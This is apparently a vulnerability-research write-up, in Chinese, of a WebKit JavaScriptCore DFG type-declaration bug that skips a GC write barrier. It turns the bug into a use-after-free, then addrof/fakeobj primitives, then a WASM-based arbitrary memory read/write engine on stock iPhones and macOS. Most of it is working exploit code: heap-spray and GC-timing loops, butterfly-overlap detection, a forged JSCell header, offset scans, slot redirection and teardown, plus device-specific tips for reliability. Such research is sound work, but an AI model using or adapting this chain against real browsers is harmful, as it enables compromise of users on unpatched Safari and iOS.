本文记录了 WebKit JavaScriptCore DFG 编译器中一个类型声明错误的完整利用过程——从
DFGNodeType.h宏表中的NodeResultInt32(应为NodeResultJS),经 GC 写屏障绕过触发 Use-After-Free,一步步升级到在 iPhone 真机(iOS 26.1,非越狱原厂)上稳定实现任意内存地址读写(AAR/AAW)。端到端成功率约 80%。
| 字段 | 值 |
|---|---|
| 漏洞位置 | Source/JavaScriptCore/dfg/DFGNodeType.h — MapIterationEntryKey 节点 |
| Bugzilla | 304950 |
| rdar | 167200795 |
| 修复提交 | 3f6f7836068(cherry-pick 47b55468bf82) |
| 受影响版本 | Safari ≤ 26.2 (WebKit 7623.1.14.11.9) |
| 修复版本 | Safari 26.3 (20623.2.7) — 安全公告 |
| 目标设备 | iPhone / vphone (iOS 26.1) 及 macOS 26.2 |
| Exploit 成功率 | ~80%(失败时通常表现为页面重载,罕见无响应崩溃) |
漏洞概述
JavaScriptCore (JSC) 将 JavaScript 编译为高效机器码的过程中,有一个名为 DFG(Data Flow Graph)的中间层编译器。DFG 对每个中间表示(IR)节点附加了一个 输出类型声明(NodeResult),告诉后续优化 pass 这个节点产出什么类型的值。
问题出在一张巨大的宏定义表中,一个单词写错了:
// Source/JavaScriptCore/dfg/DFGNodeType.h, line 592
macro(MapIterationEntry, NodeResultJS) \
macro(MapIterationEntryKey, NodeResultInt32) \ // ← BUG: 应为 NodeResultJS
macro(MapIterationEntryValue, NodeResultJS) \ // ← 正确
MapIterationEntryKey — Map.forEach() 回调中获取 key 的节点 — 被声明为只产出 32 位整数。但看一下运行时的实际实现:
// DFGOperations.cpp:4931
JSC_DEFINE_JIT_OPERATION(operationMapIterationEntryKey, EncodedJSValue, (...))
{
JSMap::Storage& storage = *jsCast<JSMap::Storage*>(cell);
OPERATION_RETURN(scope, JSValue::encode(
JSMap::Helper::getIterationEntryKey(storage)));
// 返回任意 JSValue:可能是对象指针、double、字符串……
}
运行时返回的是完整的 64 位 EncodedJSValue。代码生成层也正确地调用了 jsValueResult(resultRegs, node) 来存储完整的 64 位值。不一致完全在于类型注释,而非代码逻辑。
NodeResult 这个静态声明决定了三个关键的下游行为:
| 影响 | NodeResultInt32 | NodeResultJS |
|---|---|---|
| 寄存器分配 | 单个 32 位 GPR | 64 位 JSValueRegs |
| GC 扫描 | 不扫描(标量) | 视为 JSValue 单元格引用 |
| Store Barrier 插入 | 被跳过(本漏洞核心) | 向堆写入时正常插入 |
修复是将 NodeResultInt32 改为 NodeResultJS。一个单词,修复整个漏洞链。
第一章:从类型声明错误到 Use-After-Free
1.1 写屏障:GC 的生命线
JSC 使用分代垃圾回收,一种将堆按对象年龄分区管理的策略。新对象分配在 eden 区(新生区),经历一次或多次 GC 后仍然存活的对象被晋升(tenured)到老生代(old generation),一片很少被扫描的内存区域。分代假说是:大多数对象朝生夕死,只有少数长寿对象需要从频繁回收的 eden 区搬到安全的老生代。
当老生代对象引用 eden 对象时,GC 需要知道这个引用关系。否则,GC 只扫描 eden 区时会以为该 eden 对象无人引用,于是把它回收——但实际上老生代的某个对象还在用它。
这就是 Store Barrier(写屏障) 的作用:每当向老生代对象写入一个可能是堆对象指针的值时,编译器插入一条 FencedStoreBarrier 指令,将该老生代对象加入 remembered set,确保 GC 扫描时不会遗漏它的引用。
1.2 屏障是如何被骗过的
DFG 的 Store Barrier 插入阶段(DFGStoreBarrierInsertionPhase.cpp)在 Fast 模式下对每个 PutByOffset(属性赋值)操作检查:被写入的值是什么类型?
// DFGStoreBarrierInsertionPhase.cpp(Fast 模式,DFG 层)
void considerBarrier(Edge base, Edge child)
{
switch (child->result()) { // 读取 NodeResult 声明
case NodeResultInt32: // ← MapIterationEntryKey 命中这里
case NodeResultDouble:
case NodeResultNumber:
case NodeResultInt52:
case NodeResultBoolean:
return; // Int32/Double/Bool 不可能是堆指针 → 跳过屏障
default: break;
}
considerBarrier(base); // 正常路径:插入写屏障
}
case PutByOffset: {
considerBarrier(m_node->child2(), m_node->child3());
// child3 = MapIterationEntryKey 节点 → 命中 NodeResultInt32 → 跳过
break;
}
逻辑很清晰:如果值声明为整数、浮点数或布尔值,它不可能是堆对象指针,因此不需要写屏障。这个推理本身没有问题。问题在于 MapIterationEntryKey 说谎了:它声称自己是 Int32,但实际返回的是可能包含堆指针的 JSValue。
当 Map.forEach() 的回调被 DFG 内联编译、且回调中将 key 存入一个老生代对象的属性时,编译器查表发现 key 是 Int32,直接跳过了写屏障。
值得注意:FTL(更高层的编译器)不受此漏洞影响。FTL 使用
PhaseMode::Global,通过 Abstract Interpreter 推导出MapIterationEntryKey实际输出的是SpecHeapTop(堆对象),因此正确插入了屏障。这个 bug 仅影响 DFG 层的 Fast 模式。
1.3 DFG IR 中的铁证
设置 --dumpGraphAtEachPhase=true --useConcurrentJIT=false 后,对比 Store Barrier 插入阶段(Phase 21)前后的 IR:
forEach 内联中(屏障缺失):
D@149: MapIterationEntryKey(Cell:D@104, Int32|PureNum, Final, R:JSMapFields, Exits)
D@188: PutByOffset(KnownCell:D@184, KnownCell:D@184, Check:Untyped:D@149, id1{key}, 0)
// D@188 后面 —— 没有 FencedStoreBarrier!
独立的赋值操作(屏障正确):
D@30: PutByOffset(KnownCell:D@25, KnownCell:D@25, Check:Untyped:D@28, id1{key}, 0)
D@36: FencedStoreBarrier(KnownCell:D@25, R:Heap, W:JSCell_cellState)
1.4 触发条件
要将这个声明错误转化为可利用的 UAF,需要满足以下条件的组合:
- Map key 为对象(非 Int32 / Double / String 等非单元值)
forEach以 DFG 层编译,且回调函数被内联进 forEach- 回调将 key 存入老生代对象的属性
- key 对象在 eden 区(新分配)
- key 指针在 GC 运行前离开 C 栈(否则保守栈扫描会保住它)。这里的 C 栈指的是 JSC 引擎本身(C++ 编写)在执行时使用的原生调用栈,和 JavaScript 代码视角的调用栈不是一回事。JSC 的 GC 会扫描原生 C 栈上的所有值,如果某个值恰好看起来像一个合法的堆指针,GC 会保守地认为它可能是一个活引用,从而不回收对应的对象——这就是保守根扫描(conservative root scanning)。因此,只要 key 的指针还留在 C 栈的某个帧里,GC 就不会回收它
- Minor(eden)GC 触发:老生代持有者不在 remembered set → 不被重扫 → key 被回收
- 堆喷射覆盖已释放单元格 → UAF
1.5 走向 UAF
写屏障缺失意味着什么?让我们一步步构造出 Use-After-Free:
- 分配一个老生代对象
holder:经过多轮 full GC,holder被晋升到老生代 - 创建一个新 Map,key 是 eden 区的新对象
{0: marker} - 通过 DFG 编译的
forEach回调:holder.key = key。由于没有写屏障,holder不会被加入 remembered set - 让 key 的指针离开 C 栈:
storeKey()函数返回后,key 的 C++ 局部变量被弹出栈帧,不再是保守根 - 触发 Eden GC:GC 扫描 eden 区,发现
{0: marker}没有被任何 root 引用(holder不在 remembered set 中),于是回收该对象 holder.key成为悬空指针
为什么官方回归测试无法触发
WebKit 的 JSTests/stress/map-forEach.js 在 Release 构建中不会触发 UAF,原因有三:
- 依赖 Debug 构建的堆涂抹检测
- GC 调用时序错误(
startScan()在 forEach 之前,无法收集本轮 key) - forEach 调用与 GC 在同一栈帧,key 指针作为保守根被保留
正确的 PoC 设计
正确的 PoC 需要将 forEach 调用隔离到独立函数帧,并用 deepClobber 冲刷 C 栈:
const holder = { key: 1 };
const map = new Map([[{0: 1.1}, 1]]);
function inlinee(value, key) { holder.key = key; }
noFTL(inlinee);
for (let i = 0; i < 1000; i++) map.forEach(inlinee); // DFG 预热
fullGC(); fullGC(); fullGC(); // 将 holder 提升到老生代
function storeKey(marker) {
let m = new Map([[{0: marker}, 1]]);
m.forEach(inlinee); // 返回后 key 离开 C 栈
}
// 冲刷 C 栈,移除保守根
function deepClobber(n) {
let a=0,b=0,c=0,d=0,e=0,f=0,g=0,h=0;
if (n > 0) return deepClobber(n - 1);
return a+b+c+d+e+f+g+h;
}
storeKey(99.99);
deepClobber(300);
edenGC(); // holder 不在 remembered set → key 被回收
let spray = [];
for (let j = 0; j < 5000; j++) spray.push({0: 2.2});
if (typeof holder.key === "object" && holder.key[0] === 2.2) {
print("[UAF] 悬空引用指向喷射对象");
}
结果:5/5 次 100% 可复现。50 轮扩展测试中,typeof holder.key === "symbol" 曾出现,证明 GC 确实回收了 cell 并将其复用为 Symbol 对象。
第二章:addrof / fakeobj — 堆风水的艺术
有了 UAF,下一步是将它升级为两个基础利用原语:
addrof(obj): 给定一个 JavaScript 对象,读取其在内存中的地址fakeobj(addr): 给定一个内存地址,将其作为 JavaScript 对象返回
2.1 跨 Subspace 的 Butterfly 重用
JSC 将对象的 cell(header + 固定字段)和 butterfly(动态属性/数组元素存储)分别管理:
| 组件 | Victim {0: 1.1} |
喷射 [targetObj] |
|---|---|---|
| Cell | CompleteSubspace (JSFinalObject) | IsoSubspace (JSArray) |
| Butterfly | Gigacage (bmalloc) | Gigacage (bmalloc) |
关键洞察:虽然 JSFinalObject 和 JSArray 的 cell 在不同的 Subspace(不会互相复用),但它们的 butterfly 在同一个 Gigacage bmalloc 池,butterfly 内存可以被复用。
这意味着:
- 悬空的 victim cell 保留原始的 DoubleShape(认为自己存储的是浮点数)
- 悬空的 butterfly 指针现在指向了 JSArray 喷射对象 butterfly 所在的 Gigacage 内存
holder.key → [freed victim cell: DoubleShape indexing] → butterfly → [JSArray spray 的 NaN-boxed pointer]
addrof: 向hitSpray[idx][0]写入目标对象 → 读holder.key[0]走 DoubleShape 路径 → 将 NaN-boxed 指针当作 raw float64 读出fakeobj: 向holder.key[0]写入构造的 double → JSArray 读回时将其解释为 JSValue → 得到任意地址的"对象"
2.2 Safari 中的完整实现
在 Safari 中,没有 fullGC() / edenGC() API,需要通过分配压力模拟 GC 行为。实际的 exploit 循环要复杂得多:
// —— Safari 版本的 GC 模拟 ——
async function gcFull() {
let x; for (let i = 0; i < 1000; i++) x = new ArrayBuffer(1024 * 1024);
let arr = []; for (let i = 0; i < 100000; i++) arr.push({ a: i });
arr = null; x = null;
await sleep(100);
}
async function gcEden() {
let x; for (let i = 0; i < 100; i++) x = new ArrayBuffer(1024 * 1024);
let arr = []; for (let i = 0; i < 50000; i++) arr.push({ a: i });
arr = null; x = null;
await sleep(50);
}
// —— UAF 触发与 butterfly overlap 循环 ——
let hitSpray = null, hitRound = -1;
for (let r = 0; r < 600; r++) {
await gcEden();
// 分配大量 [1.1] 数组,"耗尽"当前 butterfly freelist
let drain = []; for (let j = 0; j < 4000; j++) drain.push([1.1]);
storeKey(100.1 + r);
deepClobber(300); deepClobber(300);
// Cell sled: 64 个同 shape 的 FinalObject(解决 iPhone StructureID=0 崩溃)
let _cc = []; for (let k = 0; k < 64; k++) _cc.push({ 0: 0.0 }); _cc = null;
await gcEden();
// 喷射 JSArray —— 其 butterfly 可能复用 victim 的
let sp = []; for (let j = 0; j < 3000; j++) sp.push([{ _: 1 }]);
drain = null;
let val; try { val = holder.key[0]; } catch (e) { continue; }
// 如果读到的值 ≠ 我们写入的 marker,说明 butterfly 已被复用
if (typeof val === "number" && Math.abs(val - (100.1 + r)) > 0.01) {
hitSpray = sp; hitRound = r; break;
}
}
成功复用后,还需要通过线性搜索精确定位哪个 spray 数组与 victim 共享了 butterfly:
let rawBits = f2i(holder.key[0]);
let matchIdx = -1;
for (let i = 0; i < hitSpray.length; i++) {
let saved = hitSpray[i][0];
hitSpray[i][0] = { _u: true }; // 写入一个对象
if (f2i(holder.key[0]) !== rawBits) {
// rawBits 变了 → 这个 spray 的 butterfly 就是 victim 的
matchIdx = i;
hitSpray[i][0] = saved;
break;
}
hitSpray[i][0] = saved;
}
function addrof(obj) {
hitSpray[matchIdx][0] = obj; // JSArray 存入 NaN-boxed 指针
return f2i(holder.key[0]); // DoubleShape 路径读出 raw bits
}
function fakeobj(addr) {
holder.key[0] = i2f(addr); // DoubleShape 写入 raw bits
return hitSpray[matchIdx][0]; // JSArray 路径读出 JSValue
}
2.3 iPhone 真机验证
[+] BUTTERFLY REUSE round 0!
[+] addrof(o1) = 0x0000000114835d60
[+] addrof(o2) = 0x0000000114835d80
distinct: pass | consistent: pass | tag: 0x0000
addrof: SUCCESS
2.4 iPhone 真机适配
在 iPhone 上需要额外调整以确保稳定性:
deepClobber()深度增至 300,且调用两次,以彻底冲刷 ARM64 的更深栈帧- GC pressure 混入
ArrayBuffer分配防止 JIT DCE 优化掉关键分配 await sleep(50)等待 iOS 并发 GC 完成- DFG 预热增至 5000 次以确保回调被充分内联
第三章:WASM 双实例任意读写引擎
addrof/fakeobj 还不够——我们需要 任意地址的读写。传统方法是构造 fake Float64Array,但在现代 JSC 上问题重重:
| 维度 | Fake Float64Array | WASM 双实例 |
|---|---|---|
| StructureID | 必须精确猜测(几百万个可能值) | 不需要 |
| GC 安全 | GC 可能在假 header 上崩溃 | instances 是合法 GC 对象 |
| NaN-Boxing | 某些 bit 模式被规范化 | WASM i64 绕过 NaN-boxing |
3.1 WASM 模块设计
我们构造了一个 90 字节的极简 WASM 模块,包含 2 个 mutable global 和 4 个导出函数:
(module
(global $g0 (mut i64) (i64.const 0)) ;; 64-bit 地址通道
(global $g1 (mut i32) (i32.const 0)) ;; 32-bit 值通道
(func (export "a") (result i32) global.get 0 i32.wrap_i64) ;; read addr low32
(func (export "b") (param i64) local.get 0 global.set 0) ;; set addr
(func (export "c") (result i32) global.get 1) ;; read value
(func (export "d") (param i32) local.get 0 global.set 1) ;; set value
)
创建 Executor 和 Navigator 两个实例。关键在于 global 是 Portable globals——通过 WebAssembly.Global 在宿主端创建并导入:
const exe_g0 = new WebAssembly.Global({ value: 'i64', mutable: true }, 0n);
const exe_g1 = new WebAssembly.Global({ value: 'i32', mutable: true }, 0);
const nav_g0 = new WebAssembly.Global({ value: 'i64', mutable: true }, 0n);
const nav_g1 = new WebAssembly.Global({ value: 'i32', mutable: true }, 0);
const executor = new WebAssembly.Instance(wasmModule, { e: { g0: exe_g0, g1: exe_g1 } });
const navigator_= new WebAssembly.Instance(wasmModule, { e: { g0: nav_g0, g1: nav_g1 } });
JSC 在每个 Instance 对象内部维护一个指向 global 值槽的指针。Portable global 的值槽存储在 WebAssembly.Global JS 对象中,Instance 通过指针间接引用。
JIT 预热 22 次后触发 BBQ 编译,使后续的 global 读写走快速路径:
for (let t = 0; t < 22; t++) {
executor.exports.a(); executor.exports.b(BigInt(t));
executor.exports.c(); executor.exports.d(t);
navigator_.exports.a(); navigator_.exports.b(BigInt(t));
navigator_.exports.c(); navigator_.exports.d(t);
}
3.2 构造非对称读写通道
核心思路:用 bootstrap R/W 将 Navigator 实例中 g0 的值槽指针重定向到 Executor 实例中 g1 的值槽。
正常状态:
Navigator.g0_slot_ptr → Navigator 自己的 g0 值槽
Executor.g1_slot_ptr → Executor 自己的 g1 值槽
篡改后:
Navigator.g0_slot_ptr → Executor 的 g1 值槽 ← 重定向!
这样就建立了一个 address-value 非对称通道:
// read32(addr): navigator 写 g0(实际写入 executor 的 g1 值槽)→ executor 读 g1
window.read32 = function(addr) {
navigator_.exports.b(addr); // Navigator g0 ← addr (实际写入 Executor g1!)
return executor.exports.c() >>> 0; // Executor g1 → 读出 addr 处的 i32
};
// write32(addr, val): 同理
window.write32 = function(addr, val) {
navigator_.exports.b(addr); // 设地址
executor.exports.d(val); // 写值
};
// read64 / write64: 两次 32-bit 操作组合
window.read64 = function(addr) {
return BigInt(read32(addr)) | (BigInt(read32(addr + 4n)) << 32n);
};
等一下。这里有个鸡生蛋的问题——要完成上述重定向,我们需要先有任意读写来定位 Instance 内部的 slot 偏移。
3.3 Bootstrap 闭环:消除 describe() 依赖
在 JSC shell 中有 describe() 函数可以直接打印对象的内部布局,但 Safari 中没有这个 API。
我们面临循环依赖:
- 需要
containerBF(container 数组的 butterfly 地址)才能构建 fake DoubleArray → 实现 read64 - 需要 read64 才能读出
containerBF
DoubleEncodeOffset 陷阱
在 ARM64 JSC 上,对象内联属性中的 double 存储时会加上 0x0002000000000000(DEO)。这意味着如果我们试图在内联属性中存放 butterfly 指针,指针会被 DEO 污染。但 DoubleArray butterfly 元素不加 DEO,直接存储原始 IEEE754 位。
多次尝试利用内联属性直接构造 fake array 都因 DEO 而失败。最终方案基于 butterfly 元素而非内联属性。
失败尝试
在找到最终方案之前,我们尝试了 5 种不同的 bootstrap 策略,全部失败:
| 方案 | 失败原因 |
|---|---|
| DEO 补偿 | butterfly 指针经 float64 读取触发 NaN 规范化,指针被销毁 |
| 3-slot overlap | 需要预知 overlapBF,循环依赖 |
| 大数组包含法 | Gigacage 不同 size-class,小 butterfly 不在大数组范围 |
| Gigacage 全页扫描 | fakeobj 到非 butterfly 地址触碰 wild pointer,SIGBUS |
| WASM 线性内存 | 找 data pointer 需要先 read64,循环 |
关键发现
突破口来自三个关键洞察:
JSObject::tryGetIndexQuicklyfast path 以indexingType()字节分派,不查 StructureID。只要publicLength > index,StructureID 永远不被检查。- Cell-header-as-IndexingHeader 技巧:令
butterfly = cellAddr + 8,此时 IndexingHeader(butterfly 前方 4 字节)的publicLength字段恰好等于该 cell 的 StructureID(约数百到数千万)。只要publicLength > 0,所有元素访问直接走 fast path。 - 安全 butterfly 填充:所有候选 48B-class 数组
[1]槽预设为containerAddr + 8。错误猜测的fakeobj()读到已知安全地址,返回垃圾但不会 segfault。
最终方案:v128 Global Offset 扫描
我们发现 WASM v128 类型的 mutable global 在 Instance 对象中占据 16 字节的固定偏移,并且存储 raw bits(不经过 NaN-boxing 或 DEO)。
这给了我们一个受控的 16 字节写入窗口——刚好放下一个 fake JSCell header(8 字节)+ butterfly 指针(8 字节)。
方案:
- 创建一个包含
v128mutable global 的 WASM 实例 - 用
addrof获取该实例的地址 - 在实例地址的
+0x80到+0x300范围内逐 8 字节扫描 - 每次扫描:将 v128 global 的低 64 位设为 fake JSCell header、高 64 位设为
containerAddr + 8,然后尝试fakeobj该偏移地址 - 三重验证:值非 undefined → 地址范围合理 → 交叉切换数组验证偏移一致 →
fakeobj(containerBF)[0] === 1.1
// Fake JSCell header: SID=1, indexingType=0x07 (DoubleArray),
// jsType=0x25 (JSArray), inlineTypeFlags=0x01
let fakeHeader = 1n | (0x07n << 32n) | (0x25n << 40n) | (0x01n << 56n);
for (let off = 0x80; off <= 0x300; off += 8) {
let cellAddr = v128instAddr + BigInt(off);
v128inst.exports.s(fakeHeader, containerAddr + 8n); // v128 = [header][butterfly]
let fake = fakeobj(cellAddr);
let v0 = fake[0];
if (v0 === undefined) continue;
let bf_bits = f2i(v0);
// 验证: 是否是合理的 butterfly 地址?
if (bf_bits < 0x100000000n || bf_bits > 0x0000FFFFFFFFFFFFn) continue;
// 交叉验证: 切换到另一个数组看 butterfly 是否偏移合理
v128inst.exports.s(fakeHeader, structArrAddr + 8n);
let sa_bf = f2i(fakeobj(cellAddr)[0]);
if (Math.abs(Number(sa_bf - bf_bits)) > 0x10000) continue;
// 最终验证: 用 containerBF 构造 fakeobj 读 structArr 的内容
container[0] = i2f(fakeHeader);
container[1] = i2f(sa_bf);
if (fakeobj(bf_bits)[0] === 1.1) {
containerBF = bf_bits;
structArrBF = sa_bf;
V128_OFFSET = off;
break;
}
}
踩坑:WASM 分配顺序
WASM 模块编译和实例化会触发大量 GC 分配。如果在 butterfly overlap 建立之后才分配 WASM 实例,编译过程中的 GC 压力会覆盖悬空的 DoubleShape cell,导致 addrof(wasmInstance) 返回 canonical NaN(0x7FF8000000000000)。
证据对比:先 overlap 后 WASM 时 addrof(executor) = NaN;先 WASM 后 overlap 时所有地址正确读出。
修复很简单:将所有 WASM 分配移到 butterfly overlap 之前。
3.4 Bootstrap R/W 与 Portable Global Slot 定位
有了 containerBF 和 structArrBF,我们可以构造一个 fake DoubleArray 来实现 bootstrap 级别的 read64/write64:
container[0] = i2f(fakeHeader);
container[1] = i2f(structArrBF); // butterfly → structArr 的元素存储
let fakeArr = fakeobj(containerBF); // fakeArr "是" container,但 butterfly 指向 structArr
fakeArr 是一个 “嵌合体”:它的 cell 是 container 的 butterfly(我们可以通过 container[0]/container[1] 控制 header 和 butterfly 指针),但 JS 引擎把它当作一个合法的 DoubleArray。通过改变 container[1],我们可以让 fakeArr 的 butterfly 指向任意地址,实现读写。
接下来需要在 Executor 和 Navigator 实例的内存中定位 global slot:
// 在 Portable global 中写入标记值
exe_g0.value = 0x4141414142424242n;
exe_g1.value = 0x43434343;
// 扫描 executor Instance 的前 576 字节,寻找指向标记值的指针
for (let off = 0; off < 576; off += 8) {
let slot = bootstrap_read64(executorAddr + BigInt(off));
// 如果 slot 指向的内存中包含标记值 → 找到了 global slot 指针的偏移
if (bootstrap_read64(slot) === 0x4141414142424242n) exe_g0_slot_off = off;
if ((bootstrap_read64(slot) & 0xFFFFFFFFn) === 0x43434343n) exe_g1_slot_off = off;
}
最后一步——重定向:
// 保存 navigator_ 原始 g0 slot 指针(teardown 时恢复)
let origNavG0Slot = bootstrap_read64(navigatorAddr + BigInt(exe_g0_slot_off));
// 将 navigator_ 的 g0 slot 指针重定向到 executor 的 g1 slot
bootstrap_write64(
navigatorAddr + BigInt(exe_g0_slot_off),
executorAddr + BigInt(exe_g1_slot_off)
);
3.5 完整的 R/W 引擎自举流程
1. 创建 v128 WASM 实例 + Portable globals 双实例 (Executor + Navigator)
2. JIT 预热 22 次 → BBQ 编译
3. 触发 UAF → butterfly overlap → addrof/fakeobj
4. v128 offset 扫描 → 获取 containerBF, structArrBF
5. 构造 fakeArr (containerBF 处的 fake DoubleArray)
6. bootstrap_read64/write64 通过 fakeArr 实现
7. 定位 Executor 和 Navigator 实例中的 global slot 偏移
8. 将 Navigator 的 g0 slot 重定向到 Executor 的 g1 slot
9. 导出 read32/write32/read64/write64 API
验证结果:Safari 15/15 WASM R/W 引擎测试通过;JSC standalone 3/3 次 read64/write64 验证正确。
3.6 GC 安全的 Teardown
exploit 完成后,如果不清理内部状态,保守式 GC 可能扫描到 containerBF(fakeArr 的地址),跟随 container[1] 作为 butterfly 指针进入 WASM Instance 内部,读到无效的 JSValue,触发 SIGSEGV/SIGBUS。
根因:JSC 的保守式 GC 扫描原生栈时,会发现仍然存活的 containerBF 值。它把这个值当作可能的 GC 对象,尝试追踪其 butterfly 指针(即 container[1])。但在 bootstrap 操作后,container[1] 指向 WASM Instance 的内部结构——不是合法的 JSValue 数组。GC 读到无效 JSValue → crash。
Teardown 两步:
- 恢复 Navigator 的
g0slot 指针为原始值(确保 WASM Instance 析构函数不 crash) - 恢复
container[1] = structArrBF,使 GC 扫描到安全的浮点数组
window.teardown_wasm_rw = function() {
// 步骤 1: 恢复 navigator_ g0 slot 指针
bootstrap_write64(
navigatorAddr + BigInt(exe_g0_slot_off),
origNavG0Slot
);
// 步骤 2: 恢复 container[1] → GC 扫描安全
container[0] = i2f(fakeHeader);
container[1] = i2f(structArrBF);
// 禁用 R/W API(teardown 后不再有效)
window.read32 = window.write32 = window.read64 = window.write64 = null;
};
第四章:关键调试经验
开发过程中遇到了若干 iPhone 特有的崩溃和非直觉行为,记录如下。
4.1 iPhone StructureID=0 崩溃
症状:EXC_BAD_ACCESS (SIGSEGV) at 0x000000000000004c(null+0x4c),crash 在 llint_slow_path_get_by_val + 1536。
根因链:victim {0: marker} 被 GC 释放后,cell 被 freelist 的 next 指针覆盖。在 iPhone 上,由于不同的 GC 行为和内存压力,victim 经常成为 freelist 的最后一个节点(tail),此时 next = null → StructureID = 0 → structureTable[0] = nullptr → crash。macOS 上堆布局不同,victim 通常在 freelist 中间,不会触发此问题。
解决方案(Cell Sled):在 storeKey() 之后(不是之前)立即分配 64 个同 shape 的 FinalObject {0: 0.0}。由于 bump pointer 的分配方向,sled 对象在 victim 之后(更高地址),GC sweep 从低到高扫描后 sled 进入 freelist HEAD,使 victim 的 next 非 null、StructureID 非零。
4.2 DoubleEncodeOffset 陷阱
症状:EXC_BAD_ACCESS,访问地址带 0x0002 前缀。
根因:ARM64 JSC 对对象内联属性中的 double 加 +0x0002000000000000 偏移存储。在内联属性中存放 butterfly 指针会导致指针被 DEO 污染。
修复:改用 DoubleArray butterfly 元素存储原始位(不经过 DEO)。
4.3 WASM 分配顺序
症状:addrof(wasmInstance) 返回 canonical NaN 0x7FF8000000000000。
根因:WASM 模块编译 + 实例化触发大量 GC allocation。如果在 butterfly overlap 之后执行,GC 压力会覆盖 stale DoubleShape cell。
修复:将所有 WASM 分配移至 butterfly overlap 之前完成。
4.4 开发服务器
Python aiohttp/websockets 在 Python 3.13 上 import 卡死;手写 asyncio WebSocket 服务器虽然可用但 Safari 连接后立刻断开。最终使用 Bun.serve() 实现 HTTP + WebSocket 同端口零依赖方案。日志采用批量 XHR POST + setInterval(50ms) flush,避免高频网络 I/O 干扰堆风水时序。
4.5 踩坑速查表
| # | 问题 | 根因 | 解决 |
|---|---|---|---|
| 1 | iPhone crash: null+0x4c | {0:marker} 成 freelist tail,SID=0 |
Cell sled:storeKey 后分配 64 个 {0:0.0} |
| 2 | addrof(wasmInstance) = NaN |
WASM 编译 GC 压力覆盖 stale cell | WASM 分配移到 butterfly overlap 之前 |
| 3 | butterfly 指针带 0x0002 前缀 | DoubleEncodeOffset 污染内联属性 | 改用 DoubleArray butterfly 元素 |
| 4 | read64 返回 undefined | IndexingHeader.publicLength=0 | fallback 偏移读(addr-8, addr-16) |
| 5 | WebSocket 消息攒到断开时才发 | 同步代码中 ws.send() 只进缓冲区 | 改用 XHR POST + setInterval flush |
| 6 | JIT warmup 破坏 butterfly link | BBQ 编译时分配 FinalObject 复用 freed cell | 保留原始 drain + gcEden 节奏,仅加 cell sled |
附录:Exploit 链路图
MapIterationEntryKey NodeResultInt32 声明错误
│
▼
Phase 1: UAF
DFG StoreBarrierInsertionPhase::Fast
child->result() == NodeResultInt32 → 跳过 FencedStoreBarrier
PutByOffset 无 GC 写屏障
│
▼
Eden GC: 老生代 holder 不在 remembered set → key 被回收
│
▼
Phase 2: addrof / fakeobj
喷射 JSArray → Cell: IsoSubspace (不复用) / Butterfly: Gigacage (复用!)
DoubleShape cell 读 NaN-boxed ptr = addrof
DoubleShape cell 写 raw bits = fakeobj
│
▼
Phase 3: WASM 双实例 R/W
v128 global offset 扫描 → containerBF/structArrBF
Bootstrap R/W → 定位 Portable global slots
Navigator.g0_slot → Executor.g1_slot (重定向)
read32 / write32 / read64 / write64
│
▼
✓ 任意内存读写 (AAR/AAW)